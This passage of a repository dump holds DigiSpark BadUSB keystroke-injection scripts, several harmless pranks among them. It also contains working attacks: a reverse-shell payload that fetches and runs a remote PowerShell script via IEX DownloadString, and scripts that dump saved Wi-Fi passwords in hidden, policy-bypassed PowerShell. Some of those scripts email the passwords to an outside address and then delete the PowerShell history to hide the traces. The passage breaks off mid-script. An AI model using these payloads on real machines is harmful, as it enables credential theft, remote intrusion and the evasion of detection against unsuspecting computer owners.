/directory/to/folder/of/powershellScript/` 9 | 4. Download and edit the `Reverse_Shell.ino` DigiSpark script to match the address where the ps1 powershell script is hosted and compile and load `Reverse_Shell.ino` to your DigiSpark. 10 | 11 | ### On the Windows machine: 12 | Plug in the DigiSpark and enjoy your reverse shell on the host machine! 13 | 14 | Hope you all enjoy this script and as always use it responsibly! 15 | 16 | ## Credits: 17 | - hak5: https://www.hak5.org/episodes/hak5-2110-how-to-get-a-reverse-shell-in-3-seconds-with-the-usb-rubber-ducky 18 | - samratashok for Nishang: https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1 19 | -------------------------------------------------------------------------------- /Reverse_Shell/Reverse_Shell.ino: -------------------------------------------------------------------------------- 1 | // This script downloads and executes a powershell script efectively opening up a reverse shell in less than 3 seconds. 2 | // Credits to hak5 and samratashok (developer of the nishang framework). 3 | 4 | #include "DigiKeyboard.h" 5 | void setup() { 6 | } 7 | 8 | void loop() { 9 | DigiKeyboard.sendKeyStroke(0); 10 | DigiKeyboard.delay(500); 11 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 12 | DigiKeyboard.delay(500); 13 | DigiKeyboard.print("powershell \"IEX (New-Object Net.WebClient).DownloadString('https://mywebserver/payload.ps1');\""); 14 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 15 | for (;;) { 16 | /*Stops the digispark from running the scipt again*/ 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /RickRoll_Update/RickRoll_Update.ino: -------------------------------------------------------------------------------- 1 | //This DigiSpark script opens up Rick Astley's - Never Gonna Give You Up and also a fake Windows update screen and then maximizes it using F11 2 | #include "DigiKeyboard.h" 3 | void setup() { 4 | //empty 5 | } 6 | void loop() { 7 | DigiKeyboard.delay(2000); 8 | DigiKeyboard.sendKeyStroke(0); 9 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 10 | DigiKeyboard.delay(600); 11 | DigiKeyboard.print("https://youtu.be/dQw4w9WgXcQ?t=43s"); 12 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 13 | DigiKeyboard.delay(5000); 14 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 15 | DigiKeyboard.delay(3000); 16 | DigiKeyboard.print("http://fakeupdate.net/win10ue"); 17 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 18 | DigiKeyboard.delay(2000); 19 | DigiKeyboard.sendKeyStroke(KEY_F11); 20 | for(;;){ /*empty*/ } 21 | } 22 | -------------------------------------------------------------------------------- /Silly_Mouse/README.md: -------------------------------------------------------------------------------- 1 | # Silly Mouse script 2 | Why? Because why not? This is the ultimate troll that messes with your victim's mouse settings to unbearable levels. 3 | Inspired by Caleb Hutchinson's Silly Mouse Ducky Payload from hak5darren/USB-Rubber-Ducky, ported to Windows 10 and made better. 4 | 5 | # This script does the following: 6 | 1. Opens Mouse Properties 7 | 2. Switches primary and secondary buttons 8 | 3. Changes double-click speed to slow 9 | 4. Displays pointer trails 10 | 5. Decreases pointer speed to lowest possible setting 11 | 6. Increases Vertical Scroll increment to 100 lines 12 | 13 | # Credits 14 | - Vel1khaN -------------------------------------------------------------------------------- /Silly_Mouse/Silly_Mouse.ino: -------------------------------------------------------------------------------- 1 | //This DigiSpark script messes with your target's mouse settings to annoying levels 2 | //Tested on Windows 10 with English(US) keyboard layout 3 | //Created by Vel1khan 4 | 5 | #include "DigiKeyboard.h" 6 | void setup() { 7 | #define KEY_TAB 43 8 | #define KEY_ARROW_RIGHT 0x4F 9 | } 10 | 11 | void loop() { 12 | DigiKeyboard.sendKeyStroke(0); 13 | DigiKeyboard.delay(500); 14 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 15 | DigiKeyboard.delay(500); 16 | DigiKeyboard.print("main.cpl"); 17 | DigiKeyboard.delay(500); 18 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 19 | DigiKeyboard.delay(500); 20 | DigiKeyboard.sendKeyStroke(KEY_SPACE); 21 | DigiKeyboard.delay(500); 22 | DigiKeyboard.sendKeyStroke(KEY_TAB); 23 | DigiKeyboard.delay(500); 24 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 25 | DigiKeyboard.delay(200); 26 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 27 | DigiKeyboard.delay(200); 28 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 29 | DigiKeyboard.delay(200); 30 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 31 | DigiKeyboard.delay(200); 32 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 33 | DigiKeyboard.delay(200); 34 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 35 | DigiKeyboard.delay(200); 36 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 37 | DigiKeyboard.delay(200); 38 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 39 | DigiKeyboard.delay(200); 40 | DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); 41 | DigiKeyboard.delay(200); 42 | DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); 43 | DigiKeyboard.delay(200); 44 | DigiKeyboard.sendKeyStroke(KEY_ARROW_RIGHT); 45 | DigiKeyboard.delay(200); 46 | DigiKeyboard.sendKeyStroke(KEY_ARROW_RIGHT); 47 | DigiKeyboard.delay(200); 48 | DigiKeyboard.sendKeyStroke(KEY_TAB); 49 | DigiKeyboard.delay(200); 50 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 51 | DigiKeyboard.delay(200); 52 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 53 | DigiKeyboard.delay(200); 54 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 55 | DigiKeyboard.delay(200); 56 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 57 | DigiKeyboard.delay(200); 58 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 59 | DigiKeyboard.delay(200); 60 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 61 | DigiKeyboard.delay(200); 62 | DigiKeyboard.sendKeyStroke(KEY_TAB); 63 | DigiKeyboard.delay(200); 64 | DigiKeyboard.sendKeyStroke(KEY_TAB); 65 | DigiKeyboard.delay(200); 66 | DigiKeyboard.sendKeyStroke(KEY_TAB); 67 | DigiKeyboard.delay(200); 68 | DigiKeyboard.sendKeyStroke(KEY_SPACE); 69 | DigiKeyboard.delay(200); 70 | DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); 71 | DigiKeyboard.delay(200); 72 | DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); 73 | DigiKeyboard.delay(200); 74 | DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); 75 | DigiKeyboard.delay(200); 76 | DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); 77 | DigiKeyboard.delay(200); 78 | DigiKeyboard.sendKeyStroke(KEY_ARROW_RIGHT); 79 | DigiKeyboard.delay(200); 80 | DigiKeyboard.sendKeyStroke(KEY_TAB); 81 | DigiKeyboard.delay(200); 82 | DigiKeyboard.sendKeyStroke(KEY_SPACE); 83 | DigiKeyboard.delay(200); 84 | DigiKeyboard.sendKeyStroke(KEY_TAB); 85 | DigiKeyboard.delay(500); 86 | DigiKeyboard.print("100"); 87 | DigiKeyboard.delay(500); 88 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 89 | for(;;){ /*empty*/ } 90 | } 91 | -------------------------------------------------------------------------------- /Talker/Talker.ino: -------------------------------------------------------------------------------- 1 | //This DigiSpark script opens up the powershell and makes your computer speak out a message. 2 | #include "DigiKeyboard.h" 3 | void setup() { 4 | } 5 | 6 | void loop() { 7 | DigiKeyboard.sendKeyStroke(0); 8 | DigiKeyboard.delay(100); 9 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 10 | DigiKeyboard.delay(100); 11 | DigiKeyboard.print("powershell"); 12 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 13 | DigiKeyboard.delay(3000); 14 | DigiKeyboard.print("Add-Type -AssemblyName System.speech"); 15 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 16 | DigiKeyboard.delay(100); 17 | DigiKeyboard.print("$speak = New-Object System.Speech.Synthesis.SpeechSynthesizer"); 18 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 19 | DigiKeyboard.delay(100); 20 | //Uncomment these lines to use a female voice 21 | //DigiKeyboard.print("$speak.SelectVoice('Microsoft Zira Desktop')"); 22 | //DigiKeyboard.sendKeyStroke(KEY_ENTER); 23 | //DigiKeyboard.delay(500); 24 | DigiKeyboard.print("$speak.Speak(\"Here's a joke. Why do Java programmers wear glasses? Because they can't C#.\")"); 25 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 26 | DigiKeyboard.delay(100); 27 | DigiKeyboard.print("exit"); 28 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 29 | DigiKeyboard.delay(100); 30 | DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_ALT_LEFT); 31 | DigiKeyboard.sendKeyStroke(KEY_N); 32 | for (;;) { 33 | /*empty*/ 34 | } 35 | 36 | } 37 | -------------------------------------------------------------------------------- /Wallpaper_Changer/Wallpaper_Changer.ino: -------------------------------------------------------------------------------- 1 | //This DigiKeyboard Script downloads and sets a wallpaper through the Windows PowerShell. It has been tested successfully 2 | //on Windows 10 and should probably work with Windows 7/8/8.1 etc. 3 | 4 | #include "DigiKeyboard.h" 5 | void setup() { 6 | //empty 7 | } 8 | void loop() { 9 | DigiKeyboard.sendKeyStroke(0); 10 | DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT); 11 | DigiKeyboard.delay(500); 12 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 13 | DigiKeyboard.delay(500); 14 | DigiKeyboard.print("powershell"); 15 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 16 | DigiKeyboard.delay(500); 17 | DigiKeyboard.print("$client = new-object System.Net.WebClient"); 18 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 19 | DigiKeyboard.delay(500); 20 | DigiKeyboard.print("$client.DownloadFile(\"https://tr3.cbsistatic.com/hub/i/2014/05/15/f8964afd-bd82-4e0e-bcbe-e927363dcdc1/3b858e39e2cf183b878f54cad0073a67/codedoge.jpg\" , \"doge.jpg\")"); 21 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 22 | DigiKeyboard.delay(500); 23 | DigiKeyboard.print("reg add \"HKCU\\Control Panel\\Desktop\" /v WallPaper /d \"%USERPROFILE%\\doge.jpg\" /f"); 24 | DigiKeyboard.delay(500); 25 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 26 | DigiKeyboard.delay(500); 27 | DigiKeyboard.print("RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True"); 28 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 29 | DigiKeyboard.delay(500); 30 | DigiKeyboard.print("exit"); 31 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 32 | for(;;){ /*empty*/ } 33 | } 34 | -------------------------------------------------------------------------------- /Wallpaper_Changer_macOS/README.md: -------------------------------------------------------------------------------- 1 | # macOS Wallpaper Changer 2 | 3 | This script launches Spotlight to launch Terminal.app in order to download a picture, and sets it as a wallpaper, in less than 3 seconds. 4 | 5 | Feel free to change the image link in the script in order to set another image. 6 | 7 | Changing the download path (/Users/Shared/wallpaper.jpg) may crash the AppleScript executed to change the wallpaper. 8 | 9 | ## How to change macOS Wallpaper with the Terminal 10 | 11 | https://apple.stackexchange.com/questions/40644/how-do-i-change-desktop-background-with-a-terminal-command 12 | -------------------------------------------------------------------------------- /Wallpaper_Changer_macOS/Wallpaper_Changer_macOS: -------------------------------------------------------------------------------- 1 | // This script launches Spotlight to launch Terminal.app in order to download a picture, and sets it as a wallpaper, in less than 3 seconds. 2 | // Tested on El Capitan (macOS 10.11.6) 3 | #include "DigiKeyboard.h" 4 | void setup() { 5 | } 6 | 7 | void loop() { 8 | DigiKeyboard.sendKeyStroke(0); 9 | DigiKeyboard.delay(200); 10 | DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_GUI_LEFT); 11 | DigiKeyboard.delay(200); 12 | DigiKeyboard.print("Terminal"); 13 | DigiKeyboard.delay(200); 14 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 15 | DigiKeyboard.delay(200); 16 | DigiKeyboard.print("curl https://tr3.cbsistatic.com/hub/i/2014/05/15/f8964afd-bd82-4e0e-bcbe-e927363dcdc1/3b858e39e2cf183b878f54cad0073a67/codedoge.jpg > /Users/Shared/wallpaper.jpg"); 17 | DigiKeyboard.delay(500); 18 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 19 | DigiKeyboard.print("osascript -e 'tell application \"Finder\" to set desktop picture to POSIX file \"/Users/Shared/wallpaper.jpg\"'"); 20 | DigiKeyboard.delay(200); 21 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 22 | DigiKeyboard.delay(200); 23 | DigiKeyboard.sendKeyStroke(KEY_Q, MOD_GUI_LEFT); 24 | 25 | for (;;) { 26 | /*Stops the digispark from running the scipt again*/ 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /Wallpaper_Prank/Wallpaper_Prank.ino: -------------------------------------------------------------------------------- 1 | //This DigiKeyboard Script takes a screenshot of the desktop, sets it as the wallpaper and hides the desktop icons. 2 | //Work with Windows XP(?)/Vista(?)/7/8/8.1/10 etc. 3 | 4 | #include "DigiKeyboard.h" 5 | void setup() { 6 | //empty 7 | } 8 | void loop() { 9 | DigiKeyboard.sendKeyStroke(0); 10 | DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT); 11 | DigiKeyboard.delay(500); 12 | DigiKeyboard.sendKeyStroke(70, MOD_ALT_LEFT); 13 | DigiKeyboard.delay(500); 14 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 15 | DigiKeyboard.delay(500); 16 | DigiKeyboard.print("mspaint"); 17 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 18 | DigiKeyboard.delay(800); 19 | DigiKeyboard.sendKeyStroke(KEY_V, MOD_CONTROL_LEFT); 20 | DigiKeyboard.delay(500); 21 | DigiKeyboard.sendKeyStroke(KEY_S, MOD_CONTROL_LEFT); 22 | DigiKeyboard.delay(600); 23 | DigiKeyboard.print("%USERPROFILE%\\wall.jpg"); 24 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 25 | DigiKeyboard.delay(600); 26 | DigiKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT); 27 | DigiKeyboard.delay(500); 28 | DigiKeyboard.sendKeyStroke(KEY_K); 29 | DigiKeyboard.delay(500); 30 | DigiKeyboard.sendKeyStroke(KEY_F); 31 | DigiKeyboard.delay(500); 32 | DigiKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT); 33 | DigiKeyboard.delay(500); 34 | DigiKeyboard.sendKeyStroke(KEY_X); 35 | DigiKeyboard.delay(600); 36 | DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT); 37 | DigiKeyboard.delay(500); 38 | DigiKeyboard.sendKeyStroke(KEY_F10, MOD_SHIFT_LEFT); 39 | DigiKeyboard.delay(500); 40 | DigiKeyboard.sendKeyStroke(KEY_V); 41 | DigiKeyboard.delay(200); 42 | DigiKeyboard.sendKeyStroke(81); 43 | DigiKeyboard.delay(200); 44 | DigiKeyboard.sendKeyStroke(81); 45 | DigiKeyboard.delay(200); 46 | DigiKeyboard.sendKeyStroke(81); 47 | DigiKeyboard.delay(200); 48 | DigiKeyboard.sendKeyStroke(81); 49 | DigiKeyboard.delay(200); 50 | DigiKeyboard.sendKeyStroke(81); 51 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 52 | for(;;){ /*empty*/ } 53 | } 54 | -------------------------------------------------------------------------------- /WiFi_Profile_Grabber/WiFi_Profile_Grabber.ino: -------------------------------------------------------------------------------- 1 | //This DigiSpark script writes the wireless network credentials to a csv file on a usb drive. 2 | //Change "VolumeName='USB_DRIVE_LABEL'" to reflect your drive's label. 3 | //Credits to p0wc0w. 4 | #include "DigiKeyboard.h" 5 | void setup() { 6 | } 7 | 8 | void loop() { 9 | DigiKeyboard.sendKeyStroke(0); 10 | DigiKeyboard.delay(500); 11 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 12 | DigiKeyboard.delay(500); 13 | DigiKeyboard.print("cmd"); 14 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 15 | DigiKeyboard.delay(500); 16 | DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv c:\\windows\\temp\\temp.csv; cp c:\\windows\\temp\\temp.csv -destination $((gwmi -Query \\\"Select * from Win32_LogicalDisk where VolumeName='USB_DRIVE_LABEL'\\\").DeviceID); ri c:\\windows\\temp\\temp.csv -force")); 17 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 18 | DigiKeyboard.print("exit"); 19 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 20 | for(;;){ /*empty*/ } 21 | } 22 | -------------------------------------------------------------------------------- /WiFi_Profile_Mailer/README.md: -------------------------------------------------------------------------------- 1 | ### WiFi_Profile_Mailer.ino 2 | Use for Windows 7/8/8.1/Older Builds of Windows 10 3 | 4 | ### WiFi_Profile_Mailer_New.ino 5 | Use for newer builds of Windows 10 6 | 7 | ### WiFi_Profile_Mailer_Update.ino 8 | Use for newer builds of Windows 10 w/ debug mode & user variables 9 | -------------------------------------------------------------------------------- /WiFi_Profile_Mailer/WiFi_Profile_Mailer.ino: -------------------------------------------------------------------------------- 1 | //This DigiSpark script writes the wireless network credentials to a csv file and emails it. 2 | //Credits to p0wc0w. 3 | #include "DigiKeyboard.h" 4 | void setup() { 5 | } 6 | 7 | void loop() { 8 | DigiKeyboard.sendKeyStroke(0); 9 | DigiKeyboard.delay(500); 10 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 11 | DigiKeyboard.delay(500); 12 | DigiKeyboard.print("cmd"); 13 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 14 | DigiKeyboard.delay(500); 15 | DigiKeyboard.print("MODE CON: COLS=15 LINES=1"); 16 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 17 | DigiKeyboard.delay(100); 18 | DigiKeyboard.print("COLOR EF"); 19 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 20 | DigiKeyboard.delay(100); 21 | DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv\"")); 22 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 23 | DigiKeyboard.delay(3000); 24 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 25 | DigiKeyboard.delay(500); 26 | DigiKeyboard.print("cmd"); 27 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 28 | DigiKeyboard.delay(500); 29 | DigiKeyboard.print("MODE CON: COLS=15 LINES=1"); 30 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 31 | DigiKeyboard.delay(100); 32 | DigiKeyboard.print("COLOR EF"); 33 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 34 | DigiKeyboard.delay(100); 35 | DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('GMAIL_USERNAME', 'GMAIL_PASSWORD'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'SENDER_MAIL'; $ReportEmail.To.Add('RECEIVER_MAIL'); $ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail)\"")); 36 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 37 | DigiKeyboard.delay(500); 38 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 39 | DigiKeyboard.delay(500); 40 | DigiKeyboard.print("cmd"); 41 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 42 | DigiKeyboard.delay(500); 43 | DigiKeyboard.print("MODE CON: COLS=15 LINES=1"); 44 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 45 | DigiKeyboard.delay(100); 46 | DigiKeyboard.print("COLOR EF"); 47 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 48 | DigiKeyboard.delay(100); 49 | DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"del (Get-PSReadlineOption).HistorySavePath\"")); 50 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 51 | DigiKeyboard.delay(500); 52 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 53 | DigiKeyboard.delay(500); 54 | DigiKeyboard.print("cmd"); 55 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 56 | DigiKeyboard.delay(500); 57 | DigiKeyboard.print("MODE CON: COLS=15 LINES=1"); 58 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 59 | DigiKeyboard.delay(100); 60 | DigiKeyboard.print("COLOR EF"); 61 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 62 | DigiKeyboard.delay(100); 63 | DigiKeyboard.print(F("del temp.csv")); 64 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 65 | DigiKeyboard.delay(100); 66 | DigiKeyboard.print(F("exit")); 67 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 68 | for(;;){ /*empty*/ } 69 | } 70 | -------------------------------------------------------------------------------- /WiFi_Profile_Mailer/WiFi_Profile_Mailer_New.ino: -------------------------------------------------------------------------------- 1 | //This DigiSpark script writes the wireless network credentials to a csv file and emails it. 2 | //Credits to p0wc0w. 3 | 4 | //NOTE about the New Version of this script: The older script stopped working on newer builds of Windows 10 5 | //since Windows 10 now require an elevated cmd or powershell to execute these commands. This version should 6 | //be faster (better, stronger...) and should work on all builds of Windows 10. For previous versions 7 | //of Windows or simply older builds of Windows 10, the other version works like a charm. 8 | 9 | #include "DigiKeyboard.h" 10 | void setup() { 11 | } 12 | 13 | void loop() { 14 | DigiKeyboard.sendKeyStroke(0); 15 | DigiKeyboard.delay(500); 16 | DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT); 17 | DigiKeyboard.delay(500); 18 | DigiKeyboard.sendKeyStroke(KEY_A); 19 | DigiKeyboard.delay(1000); 20 | DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT); 21 | DigiKeyboard.delay(500); 22 | DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path temp.csv;exit")); 23 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 24 | DigiKeyboard.delay(3000); 25 | DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT); 26 | DigiKeyboard.delay(500); 27 | DigiKeyboard.sendKeyStroke(KEY_A); 28 | DigiKeyboard.delay(1000); 29 | DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT); 30 | DigiKeyboard.delay(500); 31 | DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('GMAIL_USERNAME', 'GMAIL_PASSWORD'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'SENDER_MAIL'; $ReportEmail.To.Add('RECEIVER_MAIL'); $ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail);exit")); 32 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 33 | DigiKeyboard.delay(500); 34 | DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT); 35 | DigiKeyboard.delay(500); 36 | DigiKeyboard.sendKeyStroke(KEY_A); 37 | DigiKeyboard.delay(1000); 38 | DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT); 39 | DigiKeyboard.delay(500); 40 | DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;exit")); 41 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 42 | DigiKeyboard.delay(500); 43 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 44 | DigiKeyboard.delay(500); 45 | DigiKeyboard.print("cmd"); 46 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 47 | DigiKeyboard.delay(500); 48 | DigiKeyboard.print(F("del temp.csv")); 49 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 50 | DigiKeyboard.delay(100); 51 | DigiKeyboard.print(F("exit")); 52 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 53 | for(;;){ /*empty*/ } 54 | } 55 | -------------------------------------------------------------------------------- /WiFi_Profile_Mailer/Wifi_Profile_Mailer_Update.ino: -------------------------------------------------------------------------------- 1 | //This DigiSpark script writes the wireless network credentials to a csv file and emails it. 2 | //Credits to p0wc0w. 3 | 4 | //NOTE about the New Version of this script: The older script stopped working on newer builds of Windows 10 5 | //since Windows 10 now require an elevated cmd or powershell to execute these commands. This version should 6 | //be faster (better, stronger...) and should work on all builds of Windows 10. For previous versions 7 | //of Windows or simply older builds of Windows 10, the other version works like a charm. 8 | 9 | //Update Notes: 10 | //As this is a longer script, powershell config has changed to lessen the on screen footprint. 11 | //Debug "mode" has been added for troubleshooting user settings 12 | //User Variables section added with comments 13 | //Cred handling moved to securestring as that seems to be more reliable with many smtp providers 14 | 15 | //If you are using gmail, you MUST enable "Less Secure App Access" in your user account settings or this will fail. 16 | 17 | #include "DigiKeyboard.h" 18 | void setup() { 19 | } 20 | 21 | //uncomment to run live 22 | char mode[] = "powershell -nop -win h -noni -exec bypass"; 23 | char separator[] = "exit"; 24 | //end live 25 | 26 | //uncomment to debug 27 | // char mode[] = "powershell -nop -exec bypass"; 28 | // char separator[] = "read-host"; 29 | // end debug 30 | 31 | void loop() { 32 | DigiKeyboard.sendKeyStroke(0); 33 | DigiKeyboard.delay(500); 34 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 35 | DigiKeyboard.delay(500); 36 | DigiKeyboard.print(mode); 37 | DigiKeyboard.delay(500); 38 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 39 | DigiKeyboard.delay(500); 40 | DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path $env:userprofile\\temp.csv;")); 41 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 42 | DigiKeyboard.delay(5000); 43 | 44 | // User variables start 45 | 46 | //from email address: 47 | DigiKeyboard.print(F("$email = \"YOUREMAIL@gmail.com\";")); 48 | //to email address 49 | DigiKeyboard.print(F("$addressee = \"TOEMAIL@DOMAIN.TLD\";")); 50 | //if you want to change the path of the temp csv file 51 | DigiKeyboard.print(F("$tempcsv = \"$env:userprofile\\temp.csv\";")); 52 | //'from address' email account password 53 | DigiKeyboard.print(F("$pass = \"YOUREMAIL_PASSWORD\";")); 54 | //smtp server 55 | DigiKeyboard.print(F("$smtpServer = \"smtp.gmail.com\";")); 56 | //smtp server port 57 | DigiKeyboard.print(F("$port = \"587\";")); 58 | 59 | // User variables end 60 | 61 | DigiKeyboard.print(F("$securestring = $pass | ConvertTo-SecureString -AsPlainText -Force;")); 62 | DigiKeyboard.print(F("$cred = New-Object System.Management.Automation.PSCredential -ArgumentList $email, $securestring;")); 63 | DigiKeyboard.print(F("$msg = new-object Net.Mail.MailMessage;")); 64 | DigiKeyboard.print(F("$smtp = new-object Net.Mail.SmtpClient($smtpServer, $port);")); 65 | DigiKeyboard.print(F("$smtp.EnableSsl = $true;")); 66 | DigiKeyboard.print(F("$msg.From = \"$email\";")); 67 | DigiKeyboard.print(F("$msg.To.Add(\"$addressee\");")); 68 | 